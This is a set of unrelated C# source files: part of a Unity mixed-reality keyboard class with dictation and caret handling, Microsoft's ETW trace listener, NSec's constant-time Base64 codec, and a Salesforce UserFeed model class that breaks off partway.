InputField.text.Insert(m_CaretPosition, text); m_CaretPosition += text.Length; UpdateCaretPosition(m_CaretPosition); eventData.Use(); } } /// <summary> /// Called when dictation is completed /// </summary> /// <param name="eventData">Dictation event data</param> public void OnDictationComplete(DictationEventData eventData) { ResetClosingTime(); SetMicrophoneDefault(); } /// <summary> /// Called on dictation error. Not used here. /// </summary> /// <param name="eventData">Dictation event data</param> public void OnDictationError(DictationEventData eventData) { } /// <summary> /// Destroy unmanaged memory links. /// </summary> void OnDestroy() { if (dictationSystem != null && IsMicrophoneActive()) { dictationSystem.StopRecording(); } Instance = null; } #region Present Functions /// <summary> /// Present the default keyboard to the camera. /// </summary> public void PresentKeyboard() { ResetClosingTime(); gameObject.SetActive(true); ActivateSpecificKeyboard(LayoutType.Alpha); OnPlacement(this, EventArgs.Empty); // todo: if the app is built for xaml, our prefab and the system keyboard may be displayed. InputField.ActivateInputField(); SetMicrophoneDefault(); } /// <summary> /// Presents the default keyboard to the camera, with start text. /// </summary> /// <param name="startText">The initial text to show in the keyboard's input field.</param> public void PresentKeyboard(string startText) { PresentKeyboard(); Clear(); InputField.text = startText; } /// <summary> /// Presents a specific keyboard to the camera. /// </summary> /// <param name="keyboardType">Specify the keyboard type.</param> public void PresentKeyboard(LayoutType keyboardType) { PresentKeyboard(); ActivateSpecificKeyboard(keyboardType); } /// <summary> /// Presents a specific keyboard to the camera, with start text. /// </summary> /// <param name="startText">The initial text to show in the keyboard's input field.</param> /// <param name="keyboardType">Specify the keyboard type.</param> public void PresentKeyboard(string startText, LayoutType keyboardType) { PresentKeyboard(startText); ActivateSpecificKeyboard(keyboardType); } #endregion Present Functions /// <summary> /// Function to reposition the Keyboard based on target position and vertical offset /// </summary> /// <param name="kbPos">World position for keyboard</param> /// <param name="verticalOffset">Optional vertical offset of keyboard</param> public void RepositionKeyboard(Vector3 kbPos, float verticalOffset = 0.0f) { transform.position = kbPos; ScaleToSize(); LookAtTargetOrigin(); } /// <summary> /// Function to reposition the keyboard based on target transform and collider information /// </summary> /// <param name="objectTransform">Transform of target object to remain relative to</param> /// <param name="aCollider">Optional collider information for offset placement</param> /// <param name="verticalOffset">Optional vertical offset from the target</param> public void RepositionKeyboard(Transform objectTransform, BoxCollider aCollider = null, float verticalOffset = 0.0f) { transform.position = objectTransform.position; if (aCollider != null) { float yTranslation = -((aCollider.bounds.size.y * 0.5f) + verticalOffset); transform.Translate(0.0f, yTranslation, -0.6f, objectTransform); } else { float yTranslation = -((m_ObjectBounds.y * 0.5f) + verticalOffset); transform.Translate(0.0f, yTranslation, -0.6f, objectTransform); } ScaleToSize(); LookAtTargetOrigin(); } /// <summary> /// Function to scale keyboard to the appropriate size based on distance /// </summary> private void ScaleToSize() { float distance = (transform.position - CameraCache.Main.transform.position).magnitude; float distancePercent = (distance - m_MinDistance) / (m_MaxDistance - m_MinDistance); float scale = m_MinScale + (m_MaxScale - m_MinScale) * distancePercent; scale = Mathf.Clamp(scale, m_MinScale, m_MaxScale); transform.localScale = m_StartingScale * scale; Debug.LogFormat("Setting scale: {0} for distance: {1}", scale, distance); } /// <summary> /// Look at function to have the keyboard face the user /// </summary> private void LookAtTargetOrigin() { transform.LookAt(CameraCache.Main.transform.position); transform.Rotate(Vector3.up, 180.0f); } /// <summary> /// Activates a specific keyboard layout, and any sub keys. /// </summary> /// <param name="keyboardType">The keyboard layout type that should be activated</param> private void ActivateSpecificKeyboard(LayoutType keyboardType) { DisableAllKeyboards(); ResetKeyboardState(); switch (keyboardType) { case LayoutType.URL: { ShowAlphaKeyboard(); TryToShowURLSubkeys(); break; } case LayoutType.Email: { ShowAlphaKeyboard(); TryToShowEmailSubkeys(); break; } case LayoutType.Symbol: { ShowSymbolKeyboard(); break; } case LayoutType.Alpha: default: { ShowAlphaKeyboard(); TryToShowAlphaSubkeys(); break; } } } #region Keyboard Functions #region Dictation /// <summary> /// Initialize dictation mode. /// </summary> private void BeginDictation() { ResetClosingTime(); dictationSystem.StartRecording(gameObject); SetMicrophoneRecording(); } private bool IsMicrophoneActive() { var result = _recordImage.color != _defaultColor; return result; } /// <summary> /// Set mike default look /// </summary> private void SetMicrophoneDefault() { _recordImage.color = _defaultColor; } /// <summary> /// Set mike recording look (red) /// </summary> private void SetMicrophoneRecording() { _recordImage.color = Color.red; } /// <summary> /// Terminate dictation mode. /// </summary> public void EndDictation() { dictationSystem.StopRecording(); SetMicrophoneDefault(); } #endregion Dictation /// <summary> /// Primary method for typing individual characters to a text field. /// </summary> /// <param name="valueKey">The valueKey of the pressed key.</param> public void AppendValue(KeyboardValueKey valueKey) { IndicateActivity(); string value = ""; // Shift value should only be applied if a shift value is present. if (m_IsShifted && !string.IsNullOrEmpty(valueKey.ShiftValue)) { value = valueKey.ShiftValue; } else { value = valueKey.Value; } if (!m_IsCapslocked) { Shift(false); } m_CaretPosition = InputField.caretPosition; InputField.text = InputField.text.Insert(m_CaretPosition, value); m_CaretPosition += value.Length; UpdateCaretPosition(m_CaretPosition); } /// <summary> /// Trigger specific keyboard functionality. /// </summary> /// <param name="functionKey">The functionKey of the pressed key.</param> public void FunctionKey(KeyboardKeyFunc functionKey) { IndicateActivity(); switch (functionKey.ButtonFunction) { case KeyboardKeyFunc.Function.Enter: { Enter(); break; } case KeyboardKeyFunc.Function.Tab: { Tab(); break; } case KeyboardKeyFunc.Function.ABC: { ActivateSpecificKeyboard(m_LastKeyboardLayout); break; } case KeyboardKeyFunc.Function.Symbol: { ActivateSpecificKeyboard(LayoutType.Symbol); break; } case KeyboardKeyFunc.Function.Previous: { MoveCaretLeft(); break; } case KeyboardKeyFunc.Function.Next: { MoveCaretRight(); break; } case KeyboardKeyFunc.Function.Close: { Close(); break; } case KeyboardKeyFunc.Function.Dictate: { if (dictationSystem == null) { break; } if (IsMicrophoneActive()) { EndDictation(); } else { BeginDictation(); } break; } case KeyboardKeyFunc.Function.Shift: { Shift(!m_IsShifted); break; } case KeyboardKeyFunc.Function.CapsLock: { CapsLock(!m_IsCapslocked); break; } case KeyboardKeyFunc.Function.Space: { Space(); break; } case KeyboardKeyFunc.Function.Backspace: { Backspace(); break; } case KeyboardKeyFunc.Function.UNDEFINED: { Debug.LogErrorFormat("The {0} key on this keyboard hasn't been assigned a function.", functionKey.name); break; } default: throw new ArgumentOutOfRangeException(); } } /// <summary> /// Delete the character before the caret. /// </summary> public void Backspace() { // check if text is selected if (InputField.selectionFocusPosition != InputField.caretPosition || InputField.selectionAnchorPosition != InputField.caretPosition) { if (InputField.selectionAnchorPosition > InputField.selectionFocusPosition) // right to left { InputField.text = InputField.text.Substring(0, InputField.selectionFocusPosition) + InputField.text.Substring(InputField.selectionAnchorPosition); InputField.caretPosition = InputField.selectionFocusPosition; } else // left to right { InputField.text = InputField.text.Substring(0, InputField.selectionAnchorPosition) + InputField.text.Substring(InputField.selectionFocusPosition); InputField.caretPosition = InputField.selectionAnchorPosition; } m_CaretPosition = InputField.caretPosition; InputField.selectionAnchorPosition = m_CaretPosition; InputField.selectionFocusPosition = m_CaretPosition; } else { m_CaretPosition = InputField.caretPosition; if (m_CaretPosition > 0) { --m_CaretPosition; InputField.text = InputField.text.Remove(m_CaretPosition, 1); UpdateCaretPosition(m_CaretPosition); } } } /// <summary> /// Send the "previous" event. /// </summary> public void Previous() { OnPrevious(this, EventArgs.Empty); } /// <summary> /// Send the "next" event. /// </summary> public void Next() { OnNext(this, EventArgs.Empty); } /// <summary> /// Fire the text entered event for objects listening to keyboard. /// Immediately closes keyboard. /// </summary> public void Enter() { if (SubmitOnEnter) { // Send text entered event and close the keyboard if (OnTextSubmitted != null) { OnTextSubmitted(this, EventArgs.Empty); } Close(); } else { string enterString = "\n"; m_CaretPosition = InputField.caretPosition; InputField.text = InputField.text.Insert(m_CaretPosition, enterString); m_CaretPosition += enterString.Length; UpdateCaretPosition(m_CaretPosition); } } /// <summary> /// Set the keyboard to a single action shift state. /// </summary> /// <param name="newShiftState">value the shift key should have after calling the method</param> public void Shift(bool newShiftState) { m_IsShifted = newShiftState; OnKeyboardShifted(m_IsShifted); if (m_IsCapslocked && !newShiftState) { m_IsCapslocked = false; } } /// <summary> /// Set the keyboard to a permanent shift state. /// </summary> /// <param name="newCapsLockState">Caps lock state the method is switching to</param> public void CapsLock(bool newCapsLockState) { m_IsCapslocked = newCapsLockState; Shift(newCapsLockState); } /// <summary> /// Insert a space character. /// </summary> public void Space() { m_CaretPosition = InputField.caretPosition; InputField.text = InputField.text.Insert(m_CaretPosition++, " "); UpdateCaretPosition(m_CaretPosition); } /// <summary> /// Insert a tab character. /// </summary> public void Tab() { string tabString = "\t"; m_CaretPosition = InputField.caretPosition; InputField.text = InputField.text.Insert(m_CaretPosition, tabString); m_CaretPosition += tabString.Length; UpdateCaretPosition(m_CaretPosition); } /// <summary> /// Move caret to the left. /// </summary> public void MoveCaretLeft() { m_CaretPosition = InputField.caretPosition; if (m_CaretPosition > 0) { --m_CaretPosition; UpdateCaretPosition(m_CaretPosition); } } /// <summary> /// Move caret to the right. /// </summary> public void MoveCaretRight() { m_CaretPosition = InputField.caretPosition; if (m_CaretPosition < InputField.text.Length) { ++m_CaretPosition; UpdateCaretPosition(m_CaretPosition); } } /// <summary> /// Close the keyboard. /// (Clears all event subscriptions.) /// </summary> public void Close() { if (IsMicrophoneActive()) { dictationSystem.StopRecording(); } SetMicrophoneDefault(); OnClosed(this, EventArgs.Empty); gameObject.SetActive(false); } /// <summary> /// Clear the text input field. /// </summary> public void Clear() { ResetKeyboardState(); if (InputField.caretPosition != 0) { InputField.MoveTextStart(false); } InputField.text = ""; m_CaretPosition = InputField.caretPosition; } #endregion /// <summary> /// Method to set the sizes by code, as the properties are private. /// Useful for scaling 'from the outside', for instance taking care of differences between /// immersive headsets and HoloLens /// </summary> /// <param name="minScale">Min scale factor</param> /// <param name="maxScale">Max scale factor</param> /// <param name="minDistance">Min distance from camera</param> /// <param name="maxDistance">Max distance from camera</param> public void SetScaleSizeValues(float minScale, float maxScale, float minDistance, float maxDistance) { m_MinScale = minScale; m_MaxScale = maxScale; m_MinDistance = minDistance; m_MaxDistance = maxDistance; } #region Keyboard Layout Modes /// <summary> /// Enable the alpha keyboard. /// </summary> public void ShowAlphaKeyboard() { AlphaKeyboard.gameObject.SetActive(true); m_LastKeyboardLayout = LayoutType.Alpha; } /// <summary> /// Show the default subkeys only on the Alphanumeric keyboard. /// </summary> /// <returns>Returns true if default subkeys were activated, false if alphanumeric keyboard isn't active</returns> private bool TryToShowAlphaSubkeys() { if (AlphaKeyboard.IsActive()) { AlphaSubKeys.gameObject.SetActive(true); return true; } else { return false; } } /// <summary> /// Show the email subkeys only on the Alphanumeric keyboard. /// </summary> /// <returns>Returns true if the email subkey was activated, false if alphanumeric keyboard is not active and key can't be activated</returns> private bool TryToShowEmailSubkeys() { if (AlphaKeyboard.IsActive()) { AlphaMailKeys.gameObject.SetActive(true); m_LastKeyboardLayout = LayoutType.Email; return true; } else { return false; } } /// <summary> /// Show the URL subkeys only on the Alphanumeric keyboard. /// </summary> /// <returns>Returns true if the URL subkey was activated, false if alphanumeric keyboard is not active and key can't be activated</returns> private bool TryToShowURLSubkeys() { if (AlphaKeyboard.IsActive()) { AlphaWebKeys.gameObject.SetActive(true); m_LastKeyboardLayout = LayoutType.URL; return true; } else { return false; } } /// <summary> /// Enable the symbol keyboard. /// </summary> public void ShowSymbolKeyboard() { SymbolKeyboard.gameObject.SetActive(true); } /// <summary> /// Disable GameObjects for all keyboard elements. /// </summary> private void DisableAllKeyboards() { AlphaKeyboard.gameObject.SetActive(false); SymbolKeyboard.gameObject.SetActive(false); AlphaWebKeys.gameObject.SetActive(false); AlphaMailKeys.gameObject.SetActive(false); AlphaSubKeys.gameObject.SetActive(false); } /// <summary> /// Reset temporary states of keyboard. /// </summary> private void ResetKeyboardState() { CapsLock(false); } #endregion Keyboard Layout Modes /// <summary> /// Respond to keyboard activity: reset timeout timer, play sound /// </summary> private void IndicateActivity() { ResetClosingTime(); if (_audioSource == null) { _audioSource = GetComponent<AudioSource>(); } if (_audioSource != null) { _audioSource.Play(); } } /// <summary> /// Reset inactivity closing timer /// </summary> private void ResetClosingTime() { if (CloseOnInactivity) { _closingTime = Time.time + CloseOnInactivityTime; } } /// <summary> /// Check if the keyboard has been left alone for too long and close /// </summary> private void CheckForCloseOnInactivityTimeExpired() { if (Time.time > _closingTime && CloseOnInactivity) { Close(); } } } }
//------------------------------------------------------------------------------ // <copyright file="EtwListener.cs" company="Microsoft"> // Copyright (c) Microsoft Corporation. All rights reserved. // </copyright> //------------------------------------------------------------------------------ using System.Text; using System.Globalization; using System.Diagnostics.CodeAnalysis; namespace System.Diagnostics.Eventing { public class EventProviderTraceListener : TraceListener { // // The listener uses the EtwProvider base class. // Because Listener data is not schematized at the moment the listener will // log events using WriteMessageEvent method. // // Because WriteMessageEvent takes a string as the event payload // all the overridden logging methods convert the arguments into strings. // Event payload is "delimiter" separated, which can be configured // // private EventProvider _provider; private const string s_nullStringValue = "null"; private const string s_nullStringComaValue = "null,"; private const string s_nullCStringValue = ": null"; private string _delimiter = ";"; private const uint s_keyWordMask = 0xFFFFFF00; private const int s_defaultPayloadSize = 512; [SuppressMessage("Microsoft.Usage", "CA2208:InstantiateArgumentExceptionsCorrectly")] public string Delimiter { get { return _delimiter; } [SuppressMessage("Microsoft.Usage", "CA2208:InstantiateArgumentExceptionsCorrectly")] set { if (value == null) throw new ArgumentNullException("Delimiter"); if (value.Length == 0) throw new ArgumentException(DotNetEventingStrings.Argument_NeedNonemptyDelimiter); _delimiter = value; } } /// <summary> /// This method creates an instance of the ETW provider. /// The guid argument must be a valid GUID or a format exception will be /// thrown when creating an instance of the ControlGuid. /// We need to be running on Vista or above. If not an /// PlatformNotSupported exception will be thrown by the EventProvider. /// </summary> public EventProviderTraceListener(string providerId) { InitProvider(providerId); } public EventProviderTraceListener(string providerId, string name) : base(name) { InitProvider(providerId); } public EventProviderTraceListener(string providerId, string name, string delimiter) : base(name) { if (delimiter == null) throw new ArgumentNullException("delimiter"); if (delimiter.Length == 0) throw new ArgumentException(DotNetEventingStrings.Argument_NeedNonemptyDelimiter); _delimiter = delimiter; InitProvider(providerId); } private void InitProvider(string providerId) { Guid controlGuid = new Guid(providerId); // // Create The ETW TraceProvider // _provider = new EventProvider(controlGuid); } // // override Listener methods // public sealed override void Flush() { } public sealed override bool IsThreadSafe { get { return true; } } protected override void Dispose(bool disposing) { if (disposing) { _provider.Close(); } } public sealed override void Write(string message) { if (!_provider.IsEnabled()) { return; } _provider.WriteMessageEvent(message, (byte)TraceEventType.Information, 0); } public sealed override void WriteLine(string message) { Write(message); } // // For all the methods below the string to be logged contains: // m_delimiter separated data converted to string // // The source parameter is ignored. // public sealed override void TraceData(TraceEventCache eventCache, string source, TraceEventType eventType, int id, object data) { if (!_provider.IsEnabled()) { return; } if (Filter != null && !Filter.ShouldTrace(eventCache, source, eventType, id, null, null, null, null)) { return; } StringBuilder dataString = new StringBuilder(s_defaultPayloadSize); if (data != null) { dataString.Append(data.ToString()); } else { dataString.Append(s_nullCStringValue); } _provider.WriteMessageEvent(dataString.ToString(), (byte)eventType, (long)eventType & s_keyWordMask); } public sealed override void TraceData(TraceEventCache eventCache, String source, TraceEventType eventType, int id, params object[] data) { if (!_provider.IsEnabled()) { return; } if (Filter != null && !Filter.ShouldTrace(eventCache, source, eventType, id, null, null, null, null)) { return; } int index; StringBuilder dataString = new StringBuilder(s_defaultPayloadSize); if ((data != null) && (data.Length > 0)) { for (index = 0; index < (data.Length - 1); index++) { if (data[index] != null) { dataString.Append(data[index].ToString()); dataString.Append(Delimiter); } else { dataString.Append(s_nullStringComaValue); } } if (data[index] != null) { dataString.Append(data[index].ToString()); } else { dataString.Append(s_nullStringValue); } } else { dataString.Append(s_nullStringValue); } _provider.WriteMessageEvent(dataString.ToString(), (byte)eventType, (long)eventType & s_keyWordMask); } public sealed override void TraceEvent(TraceEventCache eventCache, string source, TraceEventType eventType, int id) { if (!_provider.IsEnabled()) { return; } if (Filter != null && !Filter.ShouldTrace(eventCache, source, eventType, id, null, null, null, null)) { return; } _provider.WriteMessageEvent(String.Empty, (byte)eventType, (long)eventType & s_keyWordMask); } public sealed override void TraceEvent(TraceEventCache eventCache, string source, TraceEventType eventType, int id, string message) { if (!_provider.IsEnabled()) { return; } if (Filter != null && !Filter.ShouldTrace(eventCache, source, eventType, id, null, null, null, null)) { return; } StringBuilder dataString = new StringBuilder(s_defaultPayloadSize); dataString.Append(message); _provider.WriteMessageEvent(dataString.ToString(), (byte)eventType, (long)eventType & s_keyWordMask); } public sealed override void TraceEvent(TraceEventCache eventCache, string source, TraceEventType eventType, int id, string format, params object[] args) { if (!_provider.IsEnabled()) { return; } if (Filter != null && !Filter.ShouldTrace(eventCache, source, eventType, id, null, null, null, null)) { return; } if (args == null) { _provider.WriteMessageEvent(format, (byte)eventType, (long)eventType & s_keyWordMask); } else { _provider.WriteMessageEvent(String.Format(CultureInfo.InvariantCulture, format, args), (byte)eventType, (long)eventType & s_keyWordMask); } } public override void Fail(string message, string detailMessage) { StringBuilder failMessage = new StringBuilder(message); if (detailMessage != null) { failMessage.Append(" "); failMessage.Append(detailMessage); } this.TraceEvent(null, null, TraceEventType.Error, 0, failMessage.ToString()); } } }
using System; using System.Diagnostics; using System.Runtime.CompilerServices; using NSec.Cryptography; namespace NSec.Experimental.Text { // RFC 4648 public static class Base64 { public static byte[] Decode( string base64) { if (!TryGetDecodedLength(base64, out int length)) { throw Error.Format_BadBase64(); } byte[] result = new byte[length]; if (!TryDecode(base64, result)) { throw Error.Format_BadBase64(); } return result; } public static byte[] Decode( ReadOnlySpan<char> base64) { if (!TryGetDecodedLength(base64, out int length)) { throw Error.Format_BadBase64(); } byte[] result = new byte[length]; if (!TryDecode(base64, result)) { throw Error.Format_BadBase64(); } return result; } public static byte[] DecodeFromUtf8( ReadOnlySpan<byte> base64) { if (!TryGetDecodedLength(base64, out int length)) { throw Error.Format_BadBase64(); } byte[] result = new byte[length]; if (!TryDecodeFromUtf8(base64, result)) { throw Error.Format_BadBase64(); } return result; } public static string Encode( ReadOnlySpan<byte> bytes) { char[] chars = new char[GetEncodedLength(bytes.Length)]; Encode(bytes, chars); return new string(chars); } public static void Encode( ReadOnlySpan<byte> bytes, Span<char> base64) { if (base64.Length != GetEncodedLength(bytes.Length)) { throw Error.Argument_BadBase64Length(nameof(base64)); } int di = 0; int si = 0; int b0, b1, b2, b3; while (bytes.Length - si >= 3) { Encode3Bytes(bytes[si++], bytes[si++], bytes[si++], out b0, out b1, out b2, out b3); base64[di++] = (char)b0; base64[di++] = (char)b1; base64[di++] = (char)b2; base64[di++] = (char)b3; } switch (bytes.Length - si) { case 1: Encode3Bytes(bytes[si++], 0, 0, out b0, out b1, out b2, out b3); base64[di++] = (char)b0; base64[di++] = (char)b1; base64[di++] = '='; base64[di++] = '='; break; case 2: Encode3Bytes(bytes[si++], bytes[si++], 0, out b0, out b1, out b2, out b3); base64[di++] = (char)b0; base64[di++] = (char)b1; base64[di++] = (char)b2; base64[di++] = '='; break; } Debug.Assert(si == bytes.Length); Debug.Assert(di == base64.Length); } public static void EncodeToUtf8( ReadOnlySpan<byte> bytes, Span<byte> base64) { if (base64.Length != GetEncodedLength(bytes.Length)) { throw Error.Argument_BadBase64Length(nameof(base64)); } int di = 0; int si = 0; int b0, b1, b2, b3; while (bytes.Length - si >= 3) { Encode3Bytes(bytes[si++], bytes[si++], bytes[si++], out b0, out b1, out b2, out b3); base64[di++] = (byte)b0; base64[di++] = (byte)b1; base64[di++] = (byte)b2; base64[di++] = (byte)b3; } switch (bytes.Length - si) { case 1: Encode3Bytes(bytes[si++], 0, 0, out b0, out b1, out b2, out b3); base64[di++] = (byte)b0; base64[di++] = (byte)b1; base64[di++] = (byte)'='; base64[di++] = (byte)'='; break; case 2: Encode3Bytes(bytes[si++], bytes[si++], 0, out b0, out b1, out b2, out b3); base64[di++] = (byte)b0; base64[di++] = (byte)b1; base64[di++] = (byte)b2; base64[di++] = (byte)'='; break; } Debug.Assert(si == bytes.Length); Debug.Assert(di == base64.Length); } public static int GetEncodedLength( int byteCount) { return ((byteCount + 3 - 1) / 3) * 4; } public static bool TryDecode( string base64, Span<byte> bytes) { if (base64 == null) { throw Error.ArgumentNull_String(nameof(base64)); } return TryDecode(base64.AsSpan(), bytes); } public static bool TryDecode( ReadOnlySpan<char> base64, Span<byte> bytes) { if (base64.Length != GetEncodedLength(bytes.Length)) { throw Error.Argument_BadBase64Length(nameof(base64)); } int err = 0; int di = 0; int si = 0; byte r0, r1, r2; while (bytes.Length - di >= 3) { err |= Decode3Bytes(base64[si++], base64[si++], base64[si++], base64[si++], out r0, out r1, out r2); bytes[di++] = r0; bytes[di++] = r1; bytes[di++] = r2; } switch (bytes.Length - di) { case 1: err |= Decode3Bytes(base64[si++], base64[si++], 'A', 'A', out r0, out r1, out r2); err |= CheckPadding(base64[si++]); err |= CheckPadding(base64[si++]); bytes[di++] = r0; break; case 2: err |= Decode3Bytes(base64[si++], base64[si++], base64[si++], 'A', out r0, out r1, out r2); err |= CheckPadding(base64[si++]); bytes[di++] = r0; bytes[di++] = r1; break; } Debug.Assert(si == base64.Length); Debug.Assert(di == bytes.Length); return err == 0; } public static bool TryDecodeFromUtf8( ReadOnlySpan<byte> base64, Span<byte> bytes) { if (base64.Length != GetEncodedLength(bytes.Length)) { throw Error.Argument_BadBase64Length(nameof(base64)); } int err = 0; int di = 0; int si = 0; byte r0, r1, r2; while (bytes.Length - di >= 3) { err |= Decode3Bytes(base64[si++], base64[si++], base64[si++], base64[si++], out r0, out r1, out r2); bytes[di++] = r0; bytes[di++] = r1; bytes[di++] = r2; } switch (bytes.Length - di) { case 1: err |= Decode3Bytes(base64[si++], base64[si++], 'A', 'A', out r0, out r1, out r2); err |= CheckPadding(base64[si++]); err |= CheckPadding(base64[si++]); bytes[di++] = r0; break; case 2: err |= Decode3Bytes(base64[si++], base64[si++], base64[si++], 'A', out r0, out r1, out r2); err |= CheckPadding(base64[si++]); bytes[di++] = r0; bytes[di++] = r1; break; } Debug.Assert(si == base64.Length); Debug.Assert(di == bytes.Length); return err == 0; } public static bool TryGetDecodedLength( string base64, out int decodedLength) { if (base64 == null) { throw Error.ArgumentNull_String(nameof(base64)); } return TryGetDecodedLength(base64.AsSpan(), out decodedLength); } public static bool TryGetDecodedLength( ReadOnlySpan<char> base64, out int decodedLength) { if ((base64.Length & 3) != 0) { decodedLength = 0; return false; } int padding = 0; if (base64.Length != 0) { padding += 1 & (((base64[^1] ^ 0x3d) - 1) >> 31); padding += 1 & (((base64[^2] ^ 0x3d) - 1) >> 31) & ((0 - padding) >> 31); } decodedLength = (base64.Length / 4) * 3 - padding; return true; } public static bool TryGetDecodedLength( ReadOnlySpan<byte> base64, out int decodedLength) { if ((base64.Length & 3) != 0) { decodedLength = 0; return false; } int padding = 0; if (base64.Length != 0) { padding += 1 & (((base64[^1] ^ 0x3d) - 1) >> 31); padding += 1 & (((base64[^2] ^ 0x3d) - 1) >> 31) & ((0 - padding) >> 31); } decodedLength = (base64.Length / 4) * 3 - padding; return true; } [MethodImpl(MethodImplOptions.AggressiveInlining)] private static int CheckPadding( int src) { unchecked { return ((0x3d - src) | (src - 0x3d)) >> 31; } } [MethodImpl(MethodImplOptions.AggressiveInlining)] private static int Decode3Bytes( int b0, int b1, int b2, int b3, out byte r0, out byte r1, out byte r2) { unchecked { int c0 = Decode6Bits(b0); int c1 = Decode6Bits(b1); int c2 = Decode6Bits(b2); int c3 = Decode6Bits(b3); r0 = (byte)(c0 << 2 | c1 >> 4); r1 = (byte)(c1 << 4 | c2 >> 2); r2 = (byte)(c2 << 6 | c3); return (c0 | c1 | c2 | c3) >> 31; } } [MethodImpl(MethodImplOptions.AggressiveInlining)] private static int Decode6Bits( int src) { unchecked { int ret = -1; ret += (((0x40 - src) & (src - 0x5b)) >> 31) & (src - 64); ret += (((0x60 - src) & (src - 0x7b)) >> 31) & (src - 70); ret += (((0x2f - src) & (src - 0x3a)) >> 31) & (src + 5); ret += (((0x2a - src) & (src - 0x2c)) >> 31) & 63; ret += (((0x2e - src) & (src - 0x30)) >> 31) & 64; return ret; } } [MethodImpl(MethodImplOptions.AggressiveInlining)] private static void Encode3Bytes( byte b0, byte b1, byte b2, out int r0, out int r1, out int r2, out int r3) { unchecked { r0 = Encode6Bits(b0 >> 2); r1 = Encode6Bits((b0 << 4) & 63 | (b1 >> 4)); r2 = Encode6Bits((b1 << 2) & 63 | (b2 >> 6)); r3 = Encode6Bits(b2 & 63); } } [MethodImpl(MethodImplOptions.AggressiveInlining)] private static int Encode6Bits( int src) { unchecked { int diff = 65; diff += ((25 - src) >> 31) & 6; diff -= ((51 - src) >> 31) & 75; diff -= ((61 - src) >> 31) & 15; diff += ((62 - src) >> 31) & 3; return src + diff; } } } }
// SF API version v50.0 // Custom fields included: False // Relationship objects included: True using System; using NetCoreForce.Client.Models; using NetCoreForce.Client.Attributes; using Newtonsoft.Json; namespace NetCoreForce.Models { ///<summary> /// User Feed ///<para>SObject Name: UserFeed</para> ///<para>Custom Object: False</para> ///</summary> public class SfUserFeed : SObject { [JsonIgnore] public static string SObjectTypeName { get { return "UserFeed"; } } ///<summary> /// Feed Item ID /// <para>Name: Id</para> /// <para>SF Type: id</para> /// <para>Nillable: False</para> ///</summary> [JsonProperty(PropertyName = "id")] [Updateable(false), Createable(false)] public string Id { get; set; } ///<summary> /// Parent ID /// <para>Name: ParentId</para> /// <para>SF Type: reference</para> /// <para>Nillable: False</para> ///</summary> [JsonProperty(PropertyName = "parentId")] [Updateable(false), Createable(false)] public string ParentId { get; set; } ///<summary> /// ReferenceTo: User /// <para>RelationshipName: Parent</para> ///</summary> [JsonProperty(PropertyName = "parent")] [Updateable(false), Createable(false)] public SfUser Parent { get; set; } ///<summary> /// Feed Item Type /// <para>Name: Type</para> /// <para>SF Type: picklist</para> /// <para>Nillable: True</para> ///</summary> [JsonProperty(PropertyName = "type")] [Updateable(false), Createable(false)] public string Type { get; set; } ///<summary> /// Created By ID /// <para>Name: CreatedById</para> /// <para>SF Type: reference</para> /// <para>Nillable: False</para> ///</summary> [JsonProperty(PropertyName = "createdById")] [Updateable(false), Createable(false)] public string CreatedById { get; set; } ///<summary> /// ReferenceTo: User /// <para>RelationshipName: CreatedBy</para> ///</summary> [JsonProperty(PropertyName = "createdBy")] [Updateable(false), Createable(false)] public SfUser CreatedBy { get; set; } ///<summary> /// Created Date /// <para>Name: CreatedDate</para> /// <para>SF Type: datetime</para> /// <para>Nillable: False</para> ///</summary> [JsonProperty(PropertyName = "createdDate")] [Updateable(false), Createable(false)] public DateTimeOffset? CreatedDate { get; set; } ///<summary> /// Deleted /// <para>Name: IsDeleted</para> /// <para>SF Type: boolean</para> /// <para>Nillable: False</para> ///</summary> [JsonProperty(PropertyName = "isDeleted")] [Updateable(false), Createable(false)] public bool? IsDeleted { get; set; } ///<summary> /// Last Modified Date /// <para>Name: LastModifiedDate</para> /// <para>SF Type: datetime</para> /// <para>Nillable: False</para> ///</summary> [JsonProperty(PropertyName = "lastModifiedDate")] [Updateable(false), Createable(false)] public DateTimeOffset? LastModifiedDate { get; set; } ///<summary> /// System Modstamp /// <para>Name: SystemModstamp</para> /// <para>SF Type: datetime</para> /// <para>Nillable: False</para> ///</summary> [JsonProperty(PropertyName = "systemModstamp")] [Updateable(false), Createable(false)] public DateTimeOffset? SystemModstamp { get; set; } ///<summary> /// Comment Count /// <para>Name: CommentCount</para> /// <para>SF Type: int</para> /// <para>Nillable: False</para> ///</summary> [JsonProperty(PropertyName = "commentCount")] [Updateable(false), Createable(false)] public int? CommentCount { get; set; } ///<summary> /// Like Count /// <para>Name: LikeCount</para> /// <para>SF Type: int</para> /// <para>Nillable: False</para> ///</summary> [JsonProperty(PropertyName = "likeCount")] [Updateable(false), Createable(false)] public int? LikeCount { get; set; } ///<summary> /// Title /// <para>Name: Title</para> /// <para>SF Type: string</para> /// <para>Nillable: True</para> ///</summary> [JsonProperty(PropertyName = "title")] [Updateable(false), Createable(false)] public string Title { get; set; } ///<summary> /// Body /// <para>Name: Body</para> /// <para>SF Type: textarea</para> /// <para>Nillable: True</para> ///</summary> [JsonProperty(PropertyName = "body")] [Updateable(false), Createable(false)] public string Body { get; set; } ///<summary> /// Link Url /// <para>Name: LinkUrl</para> /// <para>SF Type: url</para> /// <para>Nillable: True</para> ///</summary> [JsonProperty(PropertyName = "linkUrl")] [Updateable(false), Createable(false)] public string LinkUrl { get; set; } ///<summary> /// Is Rich Text /// <para>Name: IsRichText</para> /// <para>SF Type: boolean</para> /// <para>Nillable: False</para> ///</summary> [JsonProperty(PropertyName = "isRichText")] [Updateable(false), Createable(false)] public bool? IsRichText { get; set; } ///<summary> /// Related Record ID /// <para>Name: RelatedRecordId</para> /// <para>SF Type: reference</para> /// <para>Nillable: True</para> ///</summary> [JsonProperty(PropertyName = "relatedRecordId")] [Updateable(false), Createable(false)] public string RelatedRecordId { get; set; } ///<summary> /// InsertedBy ID /// <para>Name: InsertedById</para> /// <para>SF Type: reference</para> /// <para>Nillable: True</para> ///</summary> [JsonProperty(PropertyName = "insertedById")] [Updateable(false), Createable(false)] public string InsertedById { get; set; } ///<summary> /// ReferenceTo: User /// <para>RelationshipName: InsertedBy</para> ///</summary> [JsonProperty(PropertyName = "insertedBy")] [Updateable(false), Createable(false)] public SfUser InsertedBy { get; set; } ///<summary> /// Best Comment ID /// <para>Name: BestCommentId</para> /// <para>SF Type: reference</para> /// <para>Nillable: True</para> ///</summary> [JsonProperty(PropertyName = "bestCommentId")] [Updateable(false), Createable(false)] public string BestCommentId { get; set; } ///<summary> /// 